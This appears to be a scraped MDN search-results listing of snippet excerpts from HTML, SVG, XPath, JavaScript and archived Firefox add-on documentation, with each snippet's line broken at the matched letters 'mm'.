mmary • tables • w3c wai web accessibility tutorials scoping rows and columns the scope attribute on header elements is redundant in simple contexts, because scope is inferred.
... if the table cannot be broken apart, use a combination of the id and headers attributes to progra
mmatically associate each table cell with the header(s) the cell is associated with.
...And 2 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
the end tag may be omitted, if it is i
mmediately followed by a <th> or <td> element or if there are no more data in its parent element.
... height this attribute is used to define a reco
mmended cell height.
... width this attribute is used to define a reco
mmended cell width.
...And 2 more matches
<th> - HTML: Hypertext Markup Language
the end tag may be omitted, if it is i
mmediately followed by a <th> or <td> element or if there are no more data in its parent element.
... height deprecated since html4, obsolete since html5 this attribute is used to define a reco
mmended cell height.
... width deprecated since html4, obsolete since html5 this attribute is used to define a reco
mmended cell width.
...And 2 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
<p>enter the following at the telnet co
mmand prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result overriding the default font you can override the browser's default font—if the browser permits you to do so, which it isn't required to do—using css: css tt { font-family: "lucida console", "menlo", "monaco", "courier", monospace; } html <p>enter the f...
...ollowing at the telnet co
mmand prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result usage notes the <tt> element is, by default, rendered using the browser's default non-proportional font.
... specifications specification status co
mment html5the definition of '<tt>' in that specification.
...And 2 more matches
dir - HTML: Hypertext Markup Language
as the directionality of the text is semantically related to its content and not to its presentation, it is reco
mmended that web developers use this attribute instead of the related css properties when possible.
... specifications specification status co
mment html living standardthe definition of 'dir' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'dir' in that specification.
...And 2 more matches
tabindex - HTML: Hypertext Markup Language
these elements have built-in roles and states that co
mmunicate status to the accessibility that would otherwise have to be managed by aria.
... using the tabindex attribute | the paciello group specifications specification status co
mment html living standardthe definition of 'tabindex' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5.
...And 2 more matches
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a progra
mmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
...semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group tooltips & toggletips - inclusive components the trials and tribulations of the title attribute - 24 accessibility specifications specification status co
mment html living standardthe definition of 'title' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'title' in that specification.
...And 2 more matches
Firefox user agent string reference - HTTP
general form the ua string of firefox itself is broken down into four components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla compatible, and is co
mmon to almost every browser today.
... the reco
mmended way of sniffing for gecko-based browsers (if you have to sniff for the browser engine instead of using feature detection) is by the presence of the "gecko" and "rv:" strings, since some other browsers include a "like gecko" token.
...a few co
mmon examples are given below.
...And 2 more matches
About JavaScript - JavaScript
it is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional progra
mming styles.
...objects are created progra
mmatically in javascript, by attaching methods and properties to otherwise empty objects at run time, as opposed to the syntactic class definitions co
mmon in compiled languages like c++ and java.
... for a more in depth discussion of javascript progra
mming follow the javascript resources links below.
...And 2 more matches
Control flow and error handling - JavaScript
the block is delimited by a pair of curly brackets: { statement_1; statement_2; ⋮ statement_n; } example block statements are co
mmonly used with control flow statements (if, for, while).
... conditional statements a conditional statement is a set of co
mmands that executes if a specified condition is true.
... for example, do not write code like this: // prone to being misread as "x == y" if (x = y) { /* statements here */ } if you need to use an assignment in a conditional expression, a co
mmon practice is to put additional parentheses around the assignment, like this: if ((x = y)) { /* statements here */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values—including all objects—evaluate to true when passed to a conditional statement.
...And 2 more matches
Numbers and dates - JavaScript
if the digits after 0x are outside the range (0123456789abcdef), the following syntaxerror is thrown: "identifier starts i
mmediately after numeric literal".
... the following table su
mmarizes the number object's properties.
...the following table su
mmarizes the methods of number.prototype.
...And 2 more matches
JavaScript shells - JavaScript
can use perl modules directly from javascript: dbi for database integration, gtk2 for gui apps, posix for system progra
mming, etc.
... the best of cpan now for javascript progra
mmers.
... shelljs - portable unix shell co
mmands for node.js list of javascript shells the following javascript shells work with mozilla.
...And 2 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or videos with audio tracks) i
mmediately upon page load can be an unwelcome surprise to users.
... note: put another way, playback of any media that includes audio is generally blocked if the playback is progra
mmatically initiated in a tab which has not yet had any user interaction.
... note: it is strongly reco
mmended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically.
...And 2 more matches
Media type and format guide: image, audio, and video content - Web media technologies
web audio codec guide a guide to the audio codecs allowed for by the co
mmon media containers, as well as by the major browsers.
... web video codec guide this article provides basic information about the video codecs supported by the major browsers, as well as some that are not co
mmonly supported but that you might still run into.
... the "codecs" parameter in co
mmon media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string.
...And 2 more matches
Navigation and resource timings - Web Performance
the navigation timings provide us a way to progra
mmatically check transfer sizing and bandwidth savings.
...the request start is the moment i
mmediately before the user agent starts requesting the resource from the server, or from relevant application caches or from local resources.
... the response start is the time i
mmediately after the user agent's http parser receives the first byte of the response from relevant application caches, or from local resources or from the server, which happens after the request is received and processed.
...And 2 more matches
Web Performance
in su
mmary, we should always try to create our animations using css transitions/animations where possible.
...to understand how to improve performance and perceived performance, it helps to understand how the browser works.reco
mmended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients a...
... javascript performance best practices javascript, when used properly, can allow for interactive and i
mmersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience.
...And 2 more matches
gradientTransform - SVG: Scalable Vector Graphics
specifications specification status co
mment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradienttransformation for <lineargradient>' in that specification.
...And 2 more matches
gradientUnits - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'gradientunits for <radialgradient>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'gradientunits for <lineargradient>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradientunits for <radialgradient>' in that specification.
...And 2 more matches
path - SVG: Scalable Vector Graphics
for detailed information about the co
mmands that can be used, see the explanation for the d attribute.
...for detailed information about the co
mmands that can be used, see the explanation for the d attribute.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification.
...And 2 more matches
r - SVG: Scalable Vector Graphics
value <length> | <percentage> default value 50% animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate reco
mmendation definition for svg2 paint servers <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'r' in that specification.
...And 2 more matches
spreadMethod - SVG: Scalable Vector Graphics
top-color="orange"/> </radialgradient> </defs> <rect fill="url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'spreadmethod for <radialgradient>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 2the definition of 'spreadmethod for <lineargradient>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <radialgradient>' in that specification.
...And 2 more matches
systemLanguage - SVG: Scalable Vector Graphics
path>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of co
mma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
...it is thus reco
mmended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'systemlanguage' in that specification.
...And 2 more matches
x1 - SVG: Scalable Vector Graphics
"url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification.
...And 2 more matches
x2 - SVG: Scalable Vector Graphics
"url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification.
...And 2 more matches
y1 - SVG: Scalable Vector Graphics
--> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification.
...And 2 more matches
y2 - SVG: Scalable Vector Graphics
--> <lineargradient y2="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate reco
mmendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate reco
mmendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification.
...And 2 more matches
<cursor> - SVG: Scalable Vector Graphics
a reco
mmended approach for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the exact position within the image which is the pointer position (i.e., the hot spot).
... the png format is reco
mmended because it supports the ability to define a transparency mask via an alpha channel.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<cursor>' in that specification.
...And 2 more matches
child - XPath
specifications specification status co
mment xpath 3.1the definition of 'child' in that specification.
... reco
mmendation xpath 3.0the definition of 'child' in that specification.
... reco
mmendation xpath 2.0the definition of 'child' in that specification.
...And 2 more matches
self - XPath
specifications specification status co
mment xpath 3.1the definition of 'self' in that specification.
... reco
mmendation xpath 3.0the definition of 'self' in that specification.
... reco
mmendation xpath 2.0the definition of 'self' in that specification.
...And 2 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
the string "http://www.w3.org/1999/xsl/transform" is a constant that designates the elements so marked as belonging to the set of tags designated by the w3c in the 1999 xslt reco
mmendation.
...it can be made up of seven different types of nodes: the single root node, element nodes, text nodes, attribute nodes, co
mment nodes, processing instruction nodes, and namespace nodes.
...below the root node are its children, which can be elements, co
mments, processing instructions and so on.
...And 2 more matches
Interacting with page scripts - Archive of obsolete content
co
mmunicating with page scripts there are two different ways a content script can co
mmunicate with a page script: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview.
... you can co
mmunicate between the content script and page scripts using window.postmessage().
...e("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // talk.js window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow co
mmunication with any domain.
...itten like this: // talk.js document.defaultview.postmessage("message from content script", "http://my-domain.org/"); // listen.js document.defaultview.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using custom dom events as an alternative to using postmessage() you can use custom dom events to co
mmunicate between page scripts and content scripts.
Content Processes - Archive of obsolete content
to co
mmunicate between add-on and content processes, the sdk uses something called content scripts.
...content scripts co
mmunicate with add-on code using something called event emitters.
...content workers combine these ideas, allowing you to inject a content script into a content process, and automatically set up a co
mmunication channel between them.
...since both add-on modules and content scripts are currently loaded in sandboxes rather than separate processes, and sandboxes can co
mmunicate with each other directly (using imports/exports), you might be wondering why we have to go through all the trouble of passing messages between add-on and content scripts.
Modules - Archive of obsolete content
the module system used by the sdk is based on the co
mmonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching urls.
... following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it follows the co
mmonjs specification, which attempts to define a standardized module api.
... a co
mmonjs module defines three global variables: require, which is a function that behaves like loadscript in our examples, exports, which behaves like the exports object, and module, which is an object representing the module itself.
...for instance, the option paths is used to specify a list of paths to be used by the loader to resolve relative urls: let loader = loader({ paths: ["./": "http://www.foo.com/"] }); co
mmonjs also defines the notion of a main module.
Testing the Add-on SDK - Archive of obsolete content
with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp co
mmands provided by the gulpscript.js file in the addon-sdk repo.
... with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following co
mmands: gulp test:examples --filter <addon_example_folder_name> gulp test:addons --filter <addon_folder_name> gulp test:modules --filter <file_name>:<test_name> or run all of the tests with gulp test.
... from mozilla-central repository with a checkout of the mozilla-central source code, one can always cd addon-sdk/source and use any of the methods described above, but in addtion to that there are a couple of mach co
mmands available, and ofcourse there is the try server if you have access to that.
... with mach there are two co
mmands: ./mach mochitest -f jetpack-addon <optional_addon_path>: this runs the test add-ons mentioned for cfx testaddons and gulp test:addons with the older sdk/loader/cuddlefish used with cfx.
context-menu - Archive of obsolete content
selector may include multiple selectors separated by co
mmas, e.g., "a[href], img".
...ny child items.: var cm = require("sdk/context-menu"); cm.menu({ label: "my menu", contentscript: 'self.on("click", function (node, data) {' + ' console.log("you clicked " + data);' + '});', items: [ cm.item({ label: "item 1", data: "item1" }), cm.item({ label: "item 2", data: "item2" }), cm.item({ label: "item 3", data: "item3" }) ] }); co
mmunicating with the add-on often you will need to collect some kind of information in the click listener and perform an action unrelated to content.
... to co
mmunicate to the menu item associated with the content script, the content script can call the postmessage function attached to the global self object, passing it some json-able data.
...); var searchmenu = cm.menu({ label: "search with", context: cm.selectorcontext("a[href]"), contentscript: 'self.on("click", function (node, data) {' + ' var searchurl = data + node.textcontent;' + ' window.location.href = searchurl;' + '});', items: [googleitem, wikipediaitem, moremenu] }); if you need a tooltip: first you need a du
mmy menu item that will serve as a trigger and subsequently will add the tooltips to the actual menu items.
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and co
mmunicate with modules in the main process.
...it provides two main things: access to web content loaded into this child process port mechanisms to co
mmunicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process.
... co
mmunicating with the parent process to co
mmunicate with the parent process, the process, frames, and frame objects in sdk/remote/child have a port object that you can use to receive messages from, and send messages to, code in the parent.
... frame a frame represents a content frame in this process and provides a way to co
mmunicate frame specific events to the main process.
remote/parent - Archive of obsolete content
loading modules into the child process to load a module into the child process, use remoterequire(): const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); inter-process co
mmunication a module loaded into a different process cannot directly co
mmunicate or share state with the module that loaded it.
... instead, the two sides co
mmunicate using port objects like those used for co
mmunication with content scripts.
...the module loads asynchronously but you can start sending messages to the module i
mmediately.
... process a process provides a way to co
mmunicate with code running in one of the application's processes.
cfx to jpm - Archive of obsolete content
the add-on sdk includes a co
mmand-line tool that you use to initialize, run, test, and package add-ons.
... activation you need to call cfx activate before you can use cfx, and this only works in the current co
mmand shell: if you open a new shell you have to call activate again.
... there is a known bug in simple options handling which may require the workaround described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 co
mmands and co
mmand options permanently removed co
mmands jpm has dropped support for all the "internal" cfx co
mmands.
... package.json fields many package.json fields are implicit co
mmands to cfx.
Label and description - Archive of obsolete content
<description>i am your father's brother's nephew's cousin's former roo
mmate.
... <description style="white-space: pre-wrap;">i am your father's brother's nephew's cousin's former roo
mmate.
... <description style="white-space: pre;">i am your father's brother's nephew's cousin's former roo
mmate.
... <description>i am your father's brother's nephew's cousin's former roo
mmate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class.
Rosetta - Archive of obsolete content
therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic progra
mming languages (i.e., creating compilers).
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createco
mment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...o.h> int main () { printf("hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>lorem ipsum</p> <script type="text/javascript"> rosetta.translateall(); </script> </body> </html> example.c: c example #include <stdio.h> int main () { printf("hello world number 2!\n"); return 0; } if creating a compiler for the c progra
mming language, as in the example above, can really look a huge task, there are many dialects of ecmascript which could be easily translated to standard ecmascript.
... mime types here is a short list of the mime types associated to some progra
mming languages: language mime type bash text/x-shellscript java text/x-java-source c text/x-c, text/x-csrc c++ text/x-c++, text/x-c++src python text/x-python there are no limitations to the mime types that can be used for the type attribute of the <script> element.
StringView - Archive of obsolete content
ings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new i
mmutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily m...
... 47 : 65; }; /* base64 string to array encoding */ stringview.bytestobase64 = function (abytes) { var eqlen = (3 - (abytes.length % 3)) % 3, sb64enc = ""; for (var nmod3, nlen = abytes.length, nuint24 = 0, nidx = 0; nidx < nlen; nidx++) { nmod3 = nidx % 3; /* unco
mment the following line in order to split the output in lines 76-character long: */ /* if (nidx > 0 && (nidx * 4 / 3) % 76 === 0) { sb64enc += "\r\n"; } */ nuint24 |= abytes[nidx] << (16 >>> nmod3 & 24); if (nmod3 === 2 || abytes.length - nidx === 1) { sb64enc += string.fromcharcode(stringview.uint6tob64(nuint24 >>> 18 & 63), stringview.uint6tob64(nuint24 >>> 12 & 63), str...
...aaaaasaaaasaaaaaaaaaaaaaaaaaaaaaaaaabaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaciaaaagaaaaaaaaaaaaaaaaaaaaaaaaaabsawjjlnnvljyachv0cwbfx2xpymnfc3rhcnrfbwfpbgbfx2dtb25fc3rhcnrfxwbhtelcq18yljiunqaaaaacaaiaaaaaaaeaaqabaaaaeaaaaaaaaab1gmkjaaacadeaaaaaaaaayahgaaaaaaagaaaaawaaaaaaaaaaaaaa6ahgaaaaaaahaaaaaqaaaaaaaaaaaaaa8ahgaaaaaaahaaaaagaaaaaaaaaaaaaa+ahgaaaaaaahaaaaawaaaaaaaaaaaaaasipsceilbrufiabihcb0behdaaaasipec
mmaaaaaaaaaaaaaaaaaap81agugap8lbaugaa8fqad/jqifiaboaaaaaong/////yx6bcaaaaeaaadp0p////8l8gqgaggcaaaa6cd///8x7umj0v5iiejig+twufrjx8cqbuaasmfbiavaaejhxwafqadot/////rmka8fqac4fwlgafvilrajyabig/gosinldwjdw7gaaaaasixadprdvxajyad/4a8fgaaaaac4ealgafvilrajyabiwfgdsinlsincsmhqp0gb0ejr+hucxco6aaaaaeif0nt0xuijxr8qcwaa/+iph4aaaaaagd1zbcaaahurvuij5eh+////xcyfrgqgaahzww8fqabigz0yaiaaahqeuaaaaabihcb0ffw/8azgaeij5f/...
...*/ var mycontent = new stringview("hello world!"); mybuffer.rawdata.set(mycontent.rawdata, mycontent.rawdata.length); stringview is a constructor and a collection of methods whose aim is to work strictly on arrays of numbers, rather than on creating new i
mmutable javascript strings.
Extension Versioning, Update and Compatibility - Archive of obsolete content
ture>migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been tri
mmed from this example for brevity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
...uxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> <!-- this represents the same description within the li from the previous example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- tri
mmed the rest of the contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- tri
mmed the rest of the contents here --> </rdf:description> </rdf:rdf> note: it is possible to change the id of add-on through add-on update.
... <em:updatehash>sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6</em:updatehash> note: the value of updatehash, must start with the string of hashing algorithm, it is a co
mmon error to delete this prefix, when setting new value to updatehash:sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6 when a hash is specified the downloaded file is compared with the hash and an error shown if it does not match.
...to enable the log: set the value of extensions.logging.enabled to true (using url about:config) run firefox from co
mmand with option -console if you encounter problems, search the output in console for your extension id, and see if failures were logged.
Extension Etiquette - Archive of obsolete content
ideally, the location would be below the add-ons item, grouped with the other extension-related co
mmands (menuitem:insertafter="javascriptconsole,devtoolsseparator").
... while these are among the most co
mmon examples of namespaces in which conflicts can occur, there are many others.
...scripts can be loaded into their own globals, such as co
mmonjs modules, javascript modules, or sandboxes, to avoid most global variable and prototype conflicts.
... call .noconflict(true) where applicable many co
mmon libraries which create global variables provide a method called noconflict, or similar, which revert any global variables they've declared, and return the object itself.
Interaction between privileged and non-privileged pages - Archive of obsolete content
(to better ensure others do not also implement the same event with a different meaning, one might either attach a namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly reco
mmended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add the event listener to the top-level document directly as shown below (also see: accessing the elements of the...
...a workaround is to treat the co
mmunication between webpage and chrome as a normal network protocol and use xml.
... it is highly reco
mmended to check the source of the event (via event.target.ownerdocument.location) and make your extension ignore any events from pages not from your server.
... resources mozillazine forum discussion co
mmunication between html and your extension ...
Jetpack Processes - Archive of obsolete content
jetpack processes are created by components that implement the nsijetpackservice interface, and their parent chrome process co
mmunicates with them via the nsijetpack interface.
...messaging facilities that allow them to co
mmunicate with their parent chrome process are the only means by which they can be endowed with any real power.
... handles messages that co
mmunicate between the browser and jetpack process may contain only serializable (json) data and handles.
...to prevent such memory leaks, a process can either invalidate a handle, i
mmediately preventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected.
Adding sidebars - Archive of obsolete content
<menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" onco
mmand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar.
... we reco
mmend that you use hbox or vbox elements as children of a deck or stack.
...one co
mmon use for a stack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... a less co
mmon use for the stack element is to use the left and top attributes on its children in order to have absolute positioning for the content on the layers.
Connecting to Remote Content - Archive of obsolete content
in this section we'll look into the xml and json co
mmunication mechanisms.
...in asynchronous mode code execution continues i
mmediately after the send call.
... now let's look at the most co
mmon types of content you can use to co
mmunicate with remote servers.
...we reco
mmend you to use extensions like tamper data.
Handling Preferences - Archive of obsolete content
firefox exposes its most co
mmon high-level preferences through the preferences window and other parts of its ui.
... note: we reco
mmend that you include all of your extension preferences in the js defaults file.
... } }, always remember to remove the observer when you don't need it anymore: this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.removeobserver(prefname, this); preference windows it's very co
mmon for extensions to have a few settings that their users can change to tailor them to their needs.
... the general philosophy in non-windows systems is that a change in a preference applies i
mmediately.
Creating a dynamic status bar extension - Archive of obsolete content
we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for co
mmunication with the server is a good idea for one of the future articles startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which is responsible for fetching and displaying stock ticker information in the status bar panel.
...in this case, we're using yahoo's co
mma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog).
...we open the request, specifying that we wish to perform an http "get" co
mmand with the url fullurl.
...we use the split() string function to split the co
mma-separated value string into its individual parts, with each field in a separate element in the array fieldarray.
No Proxy For configuration - Archive of obsolete content
the elements are separated by either a space (" ") or a co
mma (",").
... co
mmunicator used "network.proxy.none" limitations no ipv6 support - the backend stores ipv4 addresses as ipv6, but ipv6 formats are not supported.
...//web/) bug 201685 - no proxy for: support ipv6 address literals bug 136789 - proxy: no proxy ip entries do not block dns resolved ips bug 314712 - no proxy for: "hostname.domain.com" should block only "hostname.domain.com" bug 72444 - proxy: "bypass proxy server for local addresses" (ie pref) bug 260883 - "no proxy for" does not use fqdn wildcards "*" like ie bugzilla sources bug 17158 co
mment 21: the correct separator are spaces or co
mmas.
... original document information author(s): benjamin chuang last updated date: november 2, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Getting Started - Archive of obsolete content
the next directory is the \co
mmunicator directory.
...<rdf:li resource="urn:mozilla:skin:myskin/1.0:co
mmunicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> finally, in the last section of the contents.rdf file we need to tell mozilla what version this skin is compliant with.
...<rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:co
mmunicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> save the file and exit the text e...
... \co
mmunicator\...
Repackaging Firefox - Archive of obsolete content
however, it's still reco
mmended that you look through this tutorial, as it contains tips specific for creating extensions of this type, and there are a few options that you will need to set to ensure a smooth upgrade path for users.
...if possible, we reco
mmend you have your dex support the full set of locales that firefox supports.
... of course, this strategy only works when your strings either do not need localization, or are progra
mmatically localizable (for example, simply adding the locale to a url, like http://<locale>.example.com/).
